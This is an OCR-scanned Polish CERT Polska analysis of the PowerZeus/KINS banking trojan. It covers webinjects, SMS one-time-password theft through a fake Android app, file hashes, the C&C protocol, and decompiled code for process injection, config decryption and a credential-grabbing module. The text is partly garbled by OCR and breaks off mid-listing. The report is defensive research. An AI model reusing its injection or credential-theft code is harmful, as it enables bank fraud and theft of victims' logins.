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1 Wstep

Juz w lipcu 2013 roku do CERT Polska dotarty informacje kradziezy srodkéw z kont
polskich uzytkownikéw przy uzyciu nowego rodzaju malware. Pomimo, ze uzywane przez
ten malware techniki oraz aplikacja mobilna bylta znana juz od kwietnia, to od lipca cy-
beprzestepcy zaczeli uzywaé¢ nowego botnetu jako kanat dystrubucji. Udato sie ustalic,
iz komputery ofiar zainfekowane sa oprogramowaniem, ktére posiada mozliwosci podobne
do znanego wczesniej malware™u ZeuS, m.in. modyfikacja tresci strony po stronie klienta.
Ztosliwe oprogramowanie po tym jak uzytkownik zaloguje si¢ do systemu bankowego wy-
krada dane dostepowe oraz naktania uzytkownika do zainstalowania specjalnej, rzekomo
przygotowanej przez bank aplikacji na telefonie z systemem Android. Majac kontrole nad
telefonem przestepcy moga obejs¢ zabezpieczenie polegajace na potwierdzeniu zlecenia
przelewu poprzez SMS z kodem autoryzacyjnym. W ten sposéb wyprowadzaja oni srodki z
kont zainfekowanych uzytkownikéw. Ponizszy raport opisuje kazdy z elementéw wykorzy-
stanych przy opisanym procederze. Zawarte sg zaréwno ogélne informacje jak, techniczne
szczeglty oraz zalecenia w jaki sposob radzi¢ sobie z zagrozeniem.

O tym malware, zwanym KINS (od Kasper Internet Non-Security) lub PowerZeus in-
formowano juz wczesniej. Te dwie nazwy bywajg uzywane zamiennie, chociaz niektorzy
badacze rozrézniaja oba rodzaje malware’u.

e Xylibox:

— http://www.xylibox.com/2013/09/powerloader-20-alueron.html
— http://www.xylibox.com/2013/09/having-look-on-kins-toolkit.html

e RSA:
— https://blogs.rsa.com/is-cybercrime-ready-to-crown-a-new-kins-inth3wild

Raport zawiera opis jednego z botnetéw, wymierzonego w Polskich uzytkownikow. Po tym
jak stworzono ten raport, kod malware’u PowerZeus / KINS zostal opublikowany (znajduje
sie pod nastepujacem adresem: http://bit.ly/1anL5TI). Ten raport powstal zanim kod
zostal opublikowany i nie zawiera informacji z kodu zrédtowego.


http://www.xylibox.com/2013/09/powerloader-20-alueron.html
http://www.xylibox.com/2013/09/having-look-on-kins-toolkit.html
https://blogs.rsa.com/is-cybercrime-ready-to-crown-a-new-kins-inth3wild
http://bit.ly/1anL5TI

CERT Polska Analiza przypadku infekcji PowerZeus

1.1 Historia

Na przetomie lipca i sierpnia zaczely do CERT Polska docieraé¢ sygnalty kradziezy srod-
kéw z kont bankowych. Z nadestanych opisow proceder przypominat znany juz wczesniej
schemat - zainfekowanie komputera oraz naktanianie uzytkownika do instalacji aplikacji
zwanej E-Security na telefonie.

W poprzednich przypadkach do zainfekowania komputera wykorzystywany byt spyware
Citadel. Niestety podczas pierwszych prob zlokalizowania ztosliwego oprogramowania na
zainfekowanej maszynie nie udalto znalez¢ sie zadnych plikéw pasujacych do znanych nam
wzorcow. Nie mniej jednak analiza behawioralna pokazywata, iz ekran proszacy o podanie
numeru telefonu generowany jest w wyniku podmiany treéci strony bankowej — co jest
charakterystyczne dla pewnej grupy spyware.

Pod koniec sierpnia udato si¢ pozyskac¢ dziatajaca probke malware, ktora taczyta sie
pomyslnie z serwerem C&C. Niestety nadal nie udato si¢ znalez¢é w niej mechanizmu we-
binjectow. Dopiero po pewnym czasie monitorowania dziatania malware zlokalizowano po-
dejrzane elementy. Malware podczas komunikacji z C&C pobiera oraz taduje do pamieci
dodatkowe moduty — nie sg one widoczne na dysku zainfekowanej maszyny. Kod jednego
z modutéw w znacznym stopniu przypomina ZeuS w wersji 2.0.

Po pobraniu i analizie wszystkich modutéw udato si¢ ustali¢ sposéb wykonywania pod-
miany tresci strony bankowej oraz przesledzi¢ caly proces do momentu wykonania przelewu
przez przestepcow. Ponizej prezentujemy opis sposobu infekcji uzytkownikow, doktadng
analize techniczng zagrozenia zaréwno na komputery z systemem Windows jak i Android.

1.2 Webinjecty - czyli podmiana tresci w przegladarce

Czes¢ ztosliwego oprogramowania (wsrdéd nich rowniez Zeus) wstrzykuje sie w proces
przegladarki internetowej, aby wykonaé¢ atak man in the browser, aby kontrolowaé¢ infor-
macje jakie docierajg do uzytkownika i moéc je przechwycié.

Na rysunku [If przedstawiony jest schemat takiego ataku. Na poczatku, uzytkownik
wprowadza swoj login oraz hasto do jednej z interesujacych atakujacego stron. Dane te
sg wysylane do serwera, tak jak to sie dzieje w przypadku normalnego uzywania stron
internetowych. Ztosliwe oprogramowanie jednak kopiuje zadanie HTTP i wysyla je do
serwera kontrolujacego komputery botnetu (z ang. Command and Control, w skrocie C&C).
Dzieki temu atakujacy uzyskuje dostep do danych logowania ofiary. Zauwazmy, iz nie ma
znaczenia czy potaczenie miedzy komputerem ofiary a serwerem jest szyfrowane czy nie —
ztosliwe oprogramowanie ma dostep do tresci komunikacji przed jego zaszyfrowaniem.

Jednak przechwycenie hasta nie zawsze jest jedynym celem realizowanym poprzez atak
tego typu. Przestepca, poniewaz znajduje sie w przegladarce ofiary jest w stanie rowniez
kontrolowa¢ zawartos$é strony prezentowang uzytkownikowi. Umozliwia to wyswietlenie tre-
Sci nie pochodzacych z serwera, z ktorym ofiara sie kontaktuje. Takie wstrzykiwanie jest
zwane webinjectem i jest popularna metoda zarabiania na zbudowanym botnecie. Cyber-
przestepcy pozwalaja, za optata, na dodanie dowolnej tresci do dowolnej strony. Moze to
stuzy¢ np. naktonieniu uzytkownika do przekazania hasta jednorazowego lub podmianie
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Rysunek 1: Schemat ataku man in the browser

reklam serwowanych na danej stronie na takie, na ktérych zarabia przestepca.

1.3 W jaki sposéb infekowane s telefony komérkowe?

Malware opisywany w tym raporcie stuzyt miedzy innymi do przeprowadzania ataku
socjotechnicznego, ktory powodowal zarazenie smartfona uzytkownika ztodliwg aplikacja
mobilna. Sama aplikacja byta znana juz w kwietniu 2013 roku. Aplikacja ta miata na celu
wykradanie hasel jednorazowych przekazywanych za pomoca wiadomosci SMS polskim
uzytkownikom bankowosci elektronicznej oraz systemu Android. Okazalo sie, ze aplikacja
jest instalowana na telefonie komorkowym przez uzytkownikow myslacych, ze jest to do-
datkowy certyfikat oferowany przez bank w celu poprawienie bezpieczenstwa. Uzytkownik
dochodzi do takiego wniosku w wyniku ataku inzynierii spotecznej przeprowadzonym z
pomoca zlosliwego oprogramowania znajdujacego sie na ich komputerze.

W pierwszym kroku, przedstawionym na rysunku [2, zainfekowany zostaje komputer
ofiary. Moze to nastapi¢ w np. wyniku wejécia na ztosliwg strone, otwarcia ztosliwego
zatacznika do poczty.
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Rysunek 2: Infekcja komputera ztosliwym oprogramowaniem

W nastepnym kroku (rys. , po wejsciu uzytkownika na strone jego banku, wstrzy-
kiwany jest ztosliwy JavaScript, ktorego celem jest zdobycie od uzytkownika wersji jego
mobilnego systemu operacyjnego oraz numeru telefonu. Dane te sa przesytane do serwera
C&C razem z nazwa uzytkownika i hastem podanym na stronie banku. Dzieki temu prze-
stepcy sa w stanie skojarzy¢ numer telefonu uzytkownika z jego kontem.

Kolejnym krokiem (rys. [4)) jest wystanie pod podany numer telefonu wiadomosci SMS,
pochodzacej rzekomo od banku, w ktorej znajduje sie link do ztosliwej aplikacji mobilne;j.
Uzytkownik proszony jest o klikniecie w ten link i zainstalowanie aplikacji znajdujacej sie
pod nim. Najczedciej jest to thumaczone potrzebg wprowadzenia dodatkowych zabezpieczen.

Ostatnim krokiem (rys. [5)) jest pobranie i instalacja ztosliwej aplikacji przez uzytkow-
nika. Nastepnie uzytkownik jest proszony o jej uruchomienie i podanie wyswietlonego kodu.
Ma to na celu upewnienie sie, ze uzytkownik uruchomit aplikacje i ustuga odpowiedzialna
za przechwytywanie wiadomosci SMS dziata w tle.

|i

Rysunek 3: Wstrzykniecie skryptu JavaScript z pytaniem o numer telefonu

_ [ rttps:www bank pi

_ | hitps:ihwww bank pl

0K |
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Rysunek 4: Wystanie wiadomosci tekstowej z linkiem do aplikacji

http://..cmt =
- R

Rysunek 5: Pobranie ztosliwej aplikacji

1.4 Hasta jednorazowe

W celu zapewnienia dodatkowej ochrony banki wprowadzity drugi kanat uwierzytelnia-
nia, ktéry jest uzywany do potwierdzania niektérych operacji na koncie. Systemem zapew-
niajacym ten kanal sg hasta jednorazowe (z ang. One Time Password, w skrécie: OTP).
Oprocz oczywistej roli dodatkowego czynnika uwierzytelniajacego, hasta jednorazowe maja
jeszcze jednag wiasciwosé, ktora odroznia je od zwyktych hasel. Hasto jednorazowe, nawet
jesli zostanie podstuchane, nie moze by¢ wykorzystane ponowne. Rowniez nie powinno by¢
tatwo policzy¢ nastepne hasta jednorazowe znajac tylko ktoéres z nich. Hasta takie sa do-
starczane do uzytkownika za pomocg papierowej listy, wiadomosci SMS, specjalnej aplikacji
na telefony komoérkowe lub dedykowanego rozwigzania sprzetowego.

1.4.1 Papierowe listy OTP

Listy papierowych hasel jednorazowych tworzona jest na podstawie pewnego sekretu
— losowej wartosci. Z tej wartosci generowane jest kilkadziesiat haset, ktére nastepnie sa
przesytane do klienta. Sekret nie powinien juz by¢ trzymany po stronie serwera, dzieki
czemu nawet jesli serwer zostanie skompromitowany, cybeprzestepcy nie beda mogli sie
uwierzytelni¢ bez posiadania papierowej listy haset.
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1.4.2 Aplikacje na telefonie / rozwigzania sprzetowe

Aplikacje na telefonie czy tokeny sprzetowe moga by¢ oparte na podobnej zasadzie jak
listy haset jednorazowych. Zamiast jednak dostawac caty liste, uzytkownik dostaje hasta
po kolei — ma wtedy pewnos¢, ze zadne hasto nie zostalo wykorzystane bez jego wiedzy.

Istnieje tez druga popularna implementacja haset jednorazowych (sprzetowych badz
programowych). Oparta jest ona na wspélnym sekrecie dzielonym miedzy aplikacja (urza-
dzeniem) jak i serwerem banku. Nastepnie, na podstawie tego sekretu oraz aktualnego
czasu (ktory réwniez musi by¢ zsynchronizowany z serwerem banku) generowane jest hasto
zmieniajace sie co pewien okres (np. 30 sekund). To podejscie ma te przewage, ze hasta
generowane sg ciggle i nie ma potrzeby ponownego wygenerowania zestawu haset, tak jak
przy poprzedniej metodzie.

1.4.3 Wiadomosci SMS

Popularng metoda przesytania haset jednorazowych sg wiadomosci SMS. W momencie
wykonania operacji generowane jest po stronie banku losowe hasto jednorazowe shuzace
do potwierdzenia tej i tylko tej operacji. Nastepnie jest ono wysylane do uzytkownika
wraz z danymi identyfikujacymi t¢ operacje. Dzicki temu uzytkownik ma swiadomos¢ jaka
operacje potwierdza.

1.4.4 Inne metody i implementacje

Powyzej wymienione implementacje to najbardziej popularne przyktady, istnieje réw-
niez wiele alternatywnych metod realizacji systeméw hasel jednorazowych. Niektére z firm
stosuja swoje wlasne algorytmy generowania haset jednorazowych. Mozliwa jest réwniez
autoryzacja w chmurze za pomocg zaufanej trzeciej strony. W takiej sytuacji wspomniane
wczedniej sekrety trzymane sg na serwerze zaufanego dostawcy uwierzytelnienia i strony in-
ternetowe korzystaja z wystawionego dla nich interfejsu. W ten sposob istnieje tylko jedna
kopia sekretu i jest skompromitowanie jest trudniejsze. Innym rozwigzaniem jest posia-
danie odmiennego sekretu dla kazdej strony internetowej, jednak cigzko zrealizowaé to za
pomocg rozwigzan sprzetowych, poniewaz wymagatoby innego sprzetu do uwierzytelnienia
dla kazdego serwisu internetowego.

2 Malware na systemy Windows

MD5 SHA256
58bebe685a0b35149cf7fldaf059f3fa 442b1971e92aefeb93774a13cd2calbf7f8e9dad99303f1c832bd62f10e30ed2
cebb5d5ab30503f08e¢53689af8243d90 6374bcd1e869803c77356a2bfd179¢3d2d7fff4dbbdee0490480689f082c95cc4
e02562eb3b492b8c53b6418c9€20c7c8 ed7814398e¢1a8b68cb8140d11a4dd61b83bb6a9dcdb975acb2d50e564ec6fcH1
5357d82dad4fc28b95de92661518e873 82c8ebce26095ac7859402abaaf46297b88e315ccc5cb53fedcaeb6fa2bc6c425
c14054c5bfb589f9ea6d2f36e37ef755 28827494f06f9845f8844d2ac59¢c81e46dfd554143c2ef04c8748b12fad53dcf
76 ff7795e25bfc46eb5ccef307ccf8448 5434b1dff788ed1b3110b66bb9eb77232abd4256ec4c0b722643d8ed36a552d8
818ac574537b548bee3b7ddfeea3lfcd 2d8d004311255697ce8ab38aeabf02ed9353b0ee260e8167108d9238fe8cc385
c79b5ebef20410f45b1142af41543fbf 6a7aa37d8f1e8076a0322fb3fa6946c406fba9e9e8b46dfleleeb42359c0c3b4
45501¢cc5d9d04b8d48e1884fb6694e21 ¢c45ed51b8b7207cd6f8d351¢3227319370bb40467106e06b7a93e9cb360a69c7
bfdc8d21e77f71bafedc93e8829b045f c4d1e9b1d36729aed6016611240892b46940e9d040973¢c734d29c482d833f423
d1845f52f4ad3fb0970bb99b6fd4dedl 5d2c6c0b4bba30c0222ddd87e0dfdeb596316ce989cf79250ec7bbfa85cdf7bd
533daf8c1740c821b49e0b75e8f0a7d2 d436a27b5478008264849ed2a710166450acc9ebd74dbddfcdd3bd782877078f
3fde79d3151ledecb4fff62f86d8dfd43 efaf980e352cf502207a3d0106f69f8d05ad39a11f0e995ea30c36b5a57cefl?2
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‘ d1845f52f4ad3fb0970bb99b6fd4ddedl 5d2c6c0b4bba30c0222ddd87e0dfdeb596316ce989cf79250ec7bbfa85cdf7bd

Listing 1: Hashe MD5 oraz SHA256 analizowanych plikéw

2.1 Modul gtéwny

Malware zbudowany jest modutowo — oznacza to, ze sktada si¢ z jednego modutu,
poprzez ktory infekowany jest komputer ofiary. Nastepnie Sciggane sa dodatkowe moduty,
takie jak grabber czy zeus-dll, opisane w kolejnych podrozdziatach.

2.1.1 Proces infekcji

Podstawowy plik wykonywalny spakowany jest roznymi protektorami, zaleznie od spo-
tykanej wersji, ktore moga utrudnia¢ dynamiczng analize uzywajac standardowych metod,
jak np. wywotanie funkcji WinAPI IsDebuggerPresent. Po rozpakowaniu malware wstrzy-
kuje sie do procesu ktérego nazwa podana jest w konfiguracji albo do jednego z ponizszych
procesow:

e cxplorer.exe
e iexplore.exe
e firefox.exe

e mozilla.exe

Procedura realizujaca to wstrzykniecie jest przedstawiona na listingu [2]
Aby utrzymac kontrole nad zainfekowana maszyng dodaje siebie do klucza

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

co powoduje, ze jest automatycznie uruchamiany przy starcie systemu. Dodatkowo aby
nie duplikowa¢ infekcji tworzony jest mutex Global\<ConfigKey>, gdzie <ConfigKey> jest
parametrem, ktorego wartos¢ jest wyjasniona w dalszej czesci tekstu.

2.2 Konfiguracja

Malware uzywa dwoch konfiguracji. Jedna, konfiguracja gtéwnego modutu, okresla pa-
rametry potaczenia z C&C. Druga, konfiguracja modutow, okresla jakie dodatkowe moduty
beda dziataly na komputerze ofiary.

Przyktadowa gtowna konfiguracja, wyciagnieta z badanej probki, przedstawiona jest na
listingu [3| Znajduja sie tam miedzy innymi adresy serweréw C&C. Komunikacja z nimi
jest szyfrowana za pomoca protokotu HTTPS.

Konfiguracja moduléw z poczatku jest pusta, a nastepnie, w miare jak bot otrzymuje
nowe moduly to jest uzupetniania, szyfrowana i zapisywana na dysku. Przyktadowa konfi-
guracja, powstata na bazie badanej probki, znajduje sie na listingu [4]

Konfiguracja definiuje jakie moduty (w tym przypadku bot32, bot64, grabber) maja
by¢ uzywane oraz z jakimi parametrami, w jakich wersjach etc.

7
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char InjectIntoProcess (int pid, int InjectType){
int pHandle;
char v5;
int v6;
size_t size;

char* UID = GetMachineGuid () ;

if ( ! OpenMyMutex (pid, UID) ) return 0;
pHandle = OpenProcess (1082, 0, pid);
if (! pHandle ) return 0;

if (!GetDebugPriv()) {
if ( IsInjectable(pHandle) ){

if ( !iswow64(-1) || iswow64 (pHandle) ){
vb = inject_thread(pHandle, (int)code, code_size, InjectType);
} else {

if ( PathCode_tox64(&v6, &size) ){
vb = inject_thread(pHandle, v6, size, InjectType);
VirtualFree(v6, 0, 0x8000);

}

}
}
kern_CloseHandle (pHandle) ;
return vb;

Listing 2: Procedura wstrzykujaca kod

[DCT]

Analiza przypadku infekcji PowerZeus

srvurls=https://**x*x*x*xx**x*x*x ru/dropfilms/data.php;https://**x*x*x*x**x* . ru/dropfilms/«

data.php;https://**x*x*x**x*x*xx . ru/dropfilms2/data.php
srvdelay=3
srvretry=6
buildid=main
fpicptr=GetKeyboardLayoutList

Listing 3: Rozkodowana konfiguracja gtléwnego modutu
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[DCT]

mainver=15

[modules]
bot32=qprtctolnnqqupg
bot64=jfbmjigjwjiwppw
grabber=xbmxmnooivwfpgh
[modconn]

bot32=none

bot64=none
grabber=bot32
[modparams]
bot32=empty
bot64=empty
grabber=grab_ftps;grab_certs;
[modrunm]

bot32=2

bot64=2

grabber=0

[modver]

bot32=6

bot64=6

grabber=1

[inject]
*=bot32;bot64;grabber

Listing 4: Przykladowa konfiguracja moduléw

2.3 Szyfrowanie

Malware najpierw rozpakowuje sie, a nastepnie, w pamieci, nastepuje proces rozszyfro-
wania gtéwnej konfiguracji. Procedura rozszyfrowywania jest przedstawiona na rysunku []
natomiast rozszyfrowane dane sg przechowywane w strukturze przedstawionej na listingu

Bl

struct config {

uint32 key ;

uint32 configlen ;

uint32 whole_len ;

char baseConfig[0..configlen-1] ;
}

Listing 5: Struktura konfiguracji

Algorytm przedstawiony na rysunku [6] odpowiada linijce w jezyku Python zaprezento-
wanej na listingu [6]

>? . join([chr (ord (mem [4*3+i]) ~ (key % (i+1))) for i in range (0, configlen)])

Listing 6: Instrukcja odszyfrowujaca konfiguracje

W dalszej czesdci oprogramowanie wykorzystuje RC4 zaréwno do szyfrowania komuni-
kacji z C&C jak i do szyfrowania konfiguracji uzywanych modutéw. Malware uzywa do
szyfrowania trzech réznych kluczy:
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Zawartos¢ rejestrow:

I} L
il s 5
A845933A 068 pl.lSh ebx edi _ I‘ozmiar danych
88459338 AOC push esi
8845933C A18 xor esi, esi kaznik d
AA45933E 618 inc esi €CX — wskazIlk na dane
8845933F A18 sub esi, ecx
|1 Algorytm:
L J E% ::13i69(l(1n(xi(i—% 1))
[P
08459341
08459341 loc_459341:
28459341 618 mov eax, [ebp+key]
Ae45934y 818 xor edx, edx
a8459346 B18 lea ebx, [esi+ecx]
08459349 @10 div ebx
@8459348 618 xor [ecx], dl
08459340 6108 inc eCX
A645934E 618 dec edi
aau5934F 818 jnz short luc_u593h1'
2
il s 5
88459351 816 pop esi
88459352 AAC pop ebx

‘3

Rysunek 6: Procedura dekodowania konfiguracji

PersonalKey Klucz bazujacy na nazwie komputera, dacie instalacji systemu
Windows oraz numerze identyfikacyjnym produktu. W celu jego
wytworzenia uzywane sg klucze rejestru zaprezentowane na po-
nizszym listingu.

HKEY\ _LOCAL\ _MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\«
CurrentVersion\InstallDate

HKEY\ _LOCAL\ _MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\«
CurrentVersion\DigitalProductID

ConfigKey Klucz, ktérego wartosé powstaje przez konkatenacje klucza re-
jestru wymienionego ponizej z literg c. Jesli takie klucz rejestru
nie istnieje, uzywany jest cigg znakow zc.

HKEY\ _LOCAL\ _MACHINE\SOFTWARE\MICROSOFT\Cryptography\«
MachineGuid

DomainKey Klucz, ktérego wartoscig jest nazwa domeny, z ktérg nawigzy-
wana jest komunikacja.

10
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2.3.1 Komunikacja z C&C

Po zainfekowaniu, trojan probuje nawiaza¢ komunikacje z serwerem C&C, ktérego ad-
res znajduje sie w konfiguracji. Konfiguracja, oprocz tego, ze jest szyfrowana za pomoca
protokotu HT'TPS, to tres¢ kazdego zadania jest dodatkowo szyfrowana za pomoca RCA4.
Uzywane sg w tym celu dwa klucze - jeden w komunikacji od bota do serwera, a drugi
w komunikacji odwrotnej. Kluczem uzywanym w pierwszej komunikacji jest DomainKey.
Wszystkie zapytania maja nastepujaca postac:

RETKEY | func_id|func_args
przy czym:

e RETKEY jest kluczem ktorym zakodowana bedzie odpowiedz i moze by¢ dowolnym
ciagiem znakéw, chociaz w przypadku bota jest to wczesniej opisany PersonalKey

e func_id to numer komendy badz zapytania wysytanego do serwera,
e func args odpowiadaja argumentom jakie oczekuje funkcja po stronie serwera.
Przyktadowe zapytanie wystane do serwera to:

2F7628C7TH_Z57G|33|os=Windows XP 5111 sp3.1 32bit&bid=main

Modut gtéwny posiada 3 wbudowane komendy:

11
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Hello Komenda informujaca serwer C&C o dostepnosci bota.
func_id: 33 Argumenty (func_args):

<os> — wersja systemu operacyjnego
<bid> — wartos¢ buildid z konfiguracji

Odpowiedz serwera C&C:

Komendy podzielone na linie, odpowiadajace ponizszemu
formatowi

Module.Function(args)

gdzie:
Module to nazwa zarejestrowanego modutu albo main,

Function to nazwa jednej z funkcji, ktore mozna znalezé
w tablicy eksportowanych funkcji odpowiedniego modutu
albo jedna z akcji zdefiniowanych w tabeli [} jezeli zdefi-
niowany zostal wybrany gtéwny modut,

args to argumenty wywotywanej funkcji.

ACK Polecenie wysytane po wykonaniu zadania
func_id: 34 Argumenty (func_args):

<tid> — identyfikator zadania

<ta> — status wykonania: OK albo Error ze zwrdconym
kodem btedu

Odpowiedz serwera C&C:

Err albo OK
Download Polecenie proszace o plik do pobranania
func_id: 35 Argumenty (func_args):

<fid> — identyfikator pliku do pobrania

Odpowiedz serwera C&C:
Err albo 0K

12
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Hello - Wersja systemu operacyjnego
e Akcja do wykonania (patrz tabfl) 1]

‘Wykonanie akcji

ACK >

€ e e 2 Errlub Ok _______________ U

Rysunek 7: Ciag komunikacyjny

Tablica 1: Lista komend obslugiwanych przez modul podstawowy

main.Function Opis

DownloadRunExeId Pobierz i uruchom plik wykonywalny o podanym identyfikatorze

DownloadRunExeUrl Pobierz i uruchom plik wykonywalny z podanego adresu URL

DownloadRunModId Pobierz i zataduj modut o podanym identyfikatorze

DownloadUpdateMain |Pobierz i podmien obecny plik malware na nowo $ciaggniety

InjectApcRoutine Pobierz i wstrzyknij kod w podany proces

InjectNormalRoutine | Pobierz i wstrzyknij kod w podany proces

SendLogs Wyilij wezesniej zebrane dane

WriteConfigString Zapisz dane konfiguracyjne z pamieci do pliku

2.3.2 Dodatkowe modutly i API

Malware jest zbudowany w taki sposob, aby wspiera¢ rézne moduty, z ktorych kazdy
musi implementowa¢ zdefiniowane API. Takie podejscie utatwia zarzadzajgcemu botnetem
szybko rozszerzy¢ mozliwosci botnetu, po prostu rozprowadzajac dodatkows wtyczke po
wszystkich maszynach botnetu. Malware, aby lepiej ukry¢ swoja obecnos¢ wszystkie ope-
racje wykonuje w pamieci. W celu tagdowania wtyczek uzywa funkcji WinAPI takich jak
LdrLoadD11 oraz LdrGetProcedureAddress i dodatkowo parsuje pliki PE.

Dotychczas zostaty zidentyfikowane dwa moduty, opisane w nastepnych rozdziatach.

2.4 Modul grabber

Pierwszym modutem, ktéry jest pobierany i uruchamiany po zainfekowaniu to grabber.
Jak nazwa wskazuje przeznaczony on jest do wyszukiwania i przesylania cennych danych
znajdujacych sie na komputerze ofiary. Listing [7| przedstawia procedure inicjujaca modut —
przetwarzanie ciggu znakéw podanego jako parametr podczas tadowania modutu. Obstu-

13
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giwane parametry to:

e grab_all — aktywacja wszystkich ponizszych

e gram_email — wyszukaj adreséw email oraz danych dostepowych POP3, IMAP i
SMTP

e grab_ftps — wyszukaj loginéow i haset FTP

e grab_cookies — wyszukaj ciasteczka zapisane przez przegladarki Firefox i Internet
Explorer)

e grab_certs — wyszukaj certyfikatow klienckich

e grab_sol — wyszukaj , ciasteczka flashowe*(pliki .sol)

int Init(const void *config){
if ( !config || IsBadReadPtr(config, 1u) ) return O;
InitializeCriticalSection(&CriticalSection) ;
EnterCriticalSection(&CriticalSection);
hHeap = HeapCreate (0, 0x80000u, 0);
GLOBAL_heapFlag = 0;
if ( hHeap ) GLOBAL_heapFlag = 1;
else hHeap = GetProcessHeap();
getOsVersion () ;
if ( StrStrIA(config, "grab_all;") ) {

GLOBAL_grabFlag |= grb_flg_sollgrb_flg_cert|grb_flg_cookiel|grb_flg_ ftpl«
grb_flg_email;
} else {

if ( StrStrIA(config, "grab_emails;") ) GLOBAL_grabFlag |= grb_flg_email;
if ( StrStrIA(config, "grab_ftps;") ) GLOBAL_grabFlag |= grb_flg_ftp;
if ( StrStrIA(config, "grab_cookies;") ) GLOBAL_ grabFlag |= grb_flg_cookie;
if ( StrStrIA(config, "grab_certs;") ) GLOBAL_grabFlag |= grb_flg_cert;
if ( StrStrIA(config, "grab_sol;") ) GLOBAL_grabFlag |= grb_flg_sol;

}
LeaveCriticalSection(&CriticalSection);
return 1;

}

Listing 7: Inicjalizacja modulu grabber

Listing |8| przestawia funkcje gtéwng modutu grabber. Rozpoczyna sie ona od wystania
ciggu znakéw knock! do serwera C&C z ustawionym kodem id:31. Dalsze dziatanie jest
zalezne od ustawionej wczesniej flagi GLOBAL grabFlag. Na podstawie analizy dzialania
kazdej z procedur ustalono programy, z ktérych wykradane sg loginy oraz hasta. Wsrod
tych programéw sa:

e CuteFTP e 'TP Commander e WinSCP
e WS FTP e Total Commander e Core FTP
o Far Manager e FileZilla e SmartFTP

int Start (){
if (! osVersion && ptrCollectorFunc ) return O;
EnterCriticalSection(&CriticalSection);
ptrCollectorFunc (31, 0, "knock!", 7); // <-- send to CnC
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global_com = ColInitializeEx (0, COINIT_APARTMENTTHREADED) ;
if ( GLOBAL_grabFlag & grb_flg_ftp ){

ftp_sub_generic(); ftp_sub_cuteFTP () ;
ftp_sub_totalCommander () ; ftp_sub_ws_FTP();
ftp_sub_filezilla(); ftp_sub_farManager () ;
ftp_sub_winSCP () ; ftp_sub_ftpCommander () ;
ftp_sub_coreFTP () ; ftp_sub_smartFTP () ;

}
if ( GLOBAL_grabFlag & grb_flg_email ) {
if ( (unsigned int)osVersion < 4 ) {

emai_sub_unknowl (0); sub_grabWindowsContactsl () ;
} else {

email_sub_windowsMail (0) ; sub_grabWindowsContacts2 () ;
}
email_sub_unknow2(); email_sub_windowsMail (1) ;

}
if ( GLOBAL_grabFlag & grb_flg_cookie ){ grab_cookies(); }
if ( GLOBAL_grabFlag & grb_flg_cert ) { grab_cert1(); }
if ( GLOBAL_grabFlag & grb_flg_sol ){

grab_soll1 ();

WCHAR pszPath [260];

if ( getAppData_solPath(&pszPath) ) grab_sol2(&pszPath);
}
CoUninitialize();
LeaveCriticalSection(&CriticalSection);
return 1;

}

Listing 8: Funkcja gléwna modulu grabber

text:@1002138 cookie File: ; DATA XREF: grabCookies Firefox+11}lo
.text:01802138 unicode B8, <cookies.sqlite>,8

text:@1882156 align &

text:@1802158 cookie_query db "SELECT baseDomain,name,value FROM moz_cookies;',8
.text:@1082158 ; DATA XREF: grabCookies Firefox+82lo

Rysunek 8: Metoda przechwytywania ciasteczek przegladarki Firefox

2.5 Modul zeus-d11

Kolejnym pobieranym modutem jest modul nazwany przez nas zeus-dll. Nazwany
tak zostal, poniewaz jego kod w wigkszosci pokrywa sie z ZeuS 2.0.8.9, a calosé¢ zapako-
wana jest w biblioteke DLL z API kompatybilnym z programem gtéwnym. Na listingu [9]
przedstawiona jest funkcja uruchamiana po zatadowaniu biblioteki do pamieci. Jej analiza
pozwala zidentyfikowaé kolejne nazwy funkcji API oraz ich znaczenie. Nazwy skazujg iz
cale oprogramowanie oparte jest o pluginowa architekture SpyEye (znana juz w 2011 roku).

Opis funkcji API:

e TakeGateToCollector(void* func) —ustawia funkcje obstugujaca wysytanie paczki
zebranych danych do serwera C&C
TakeGateToCollector2(void* func) — jak wyzej
TakeGateToCollector3(void* func) — jak wyzej
TakeWriteData(void* func) — jak wyzej
TakeBotGuid (char* uid) — ustawia ID bota
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e TakeBotPath(char* ) — ustawia $ciezke do pliku bota

int retVal = 2;
void* funcAddr;
if (!
modConf* config =
if ( ! modConf) return O0;

funcAddr = exportFind(modBase,

if ( funcAddr ) (coliFunc) (bot:

funcAddr = exportFind(modBase,

if ( funcAddr ) (colilFunc) (bot:

modBase && name ) return O0;
importConfig(modBase,

name) ;
"TakeGateToCollector"); //API-CALL
:func_apiCollectl);
"TakeGateToCollector2"); //API-CALL
:func_apiCollect2);
"TakeBotGuid"); //API-CALL

funcAddr = exportFind(modBase,
if (funcAddr) (funcAddr) (&GLOBAL_BOT_ID);

funcAddr = exportFind(modBase, "TakeBotPath"); //API-CALL
if ( funcAddr ) (funcAddr) (GLOBAL_BOT_FILENAME);

funcAddr = exportFind(modBase, "TakeBotVersion"); //API-CALL
if ( funcAddr ) (funcAddr) (0x01000200);

threadArgs* argsl = HeapAlloc (hHeap, 8u, 0Ox1l4u);

if (! argsl ) return O;

argsl->funcAddr = exportFind(modBase, "Init"); //API-CALL

if (targsi->funcAddr) argsl->funcAddr =
if ( argsl->funcAddr ) {
argsl->flag = 0;
argsl->recordsPtr = str::makeCopyExA(-1, arg3);
HANDLE th = CreateThread(0, O, handleIncomingData,
if (HANDLE) CloseHandle (th);
else retVal = 0;
} else { retVal = 3; }
mem::free(argsil);
int stateVal = 0;
if ( retVal 2 ) {
funcAddr = exportFind(modBase,
if ( funcAddr ) {
modConf ->stateFunc = funcAddr;
stateVal = funcAddr () ;

exportFind (modBase, "SpyEye_Init");//API-CALL

argsl, 0, 0);

"GetState");

}
}
funcAddr = exportFind(modBase, "TakeGateToCollector3");
if ( funcAddr ) (funcAddr) (bot::apiCollect3);

//API-CALL

funcAddr = exportFind(mod, "TakeWriteData"); //API-CALL

if ( funcAddr ) (funcAddr) (bot::sendData);

if ( stateVal ) reutnr retVal;

threadArgs* args2 = HeapAlloc (hHeap, 8u, Ox14u);

if ( largs2 ) return O;

args2->funcAddr = exportFind(modBase, "Start"); //API-CALL

if ( largs2 ) args2->funcAddr = //API-CALL

funcAddr = args2->funcAddr;

if ( funcAddr ) {
modConf ->funcStart =
args2->flag = 1;
args2->recordsPtr = 0;
HANDLE th = CreateThread (0, O,
if (th) CloseHandle(th);
else retVal = 0;

exportFind (modBase, "SpyEye_Start");

funcAddr;

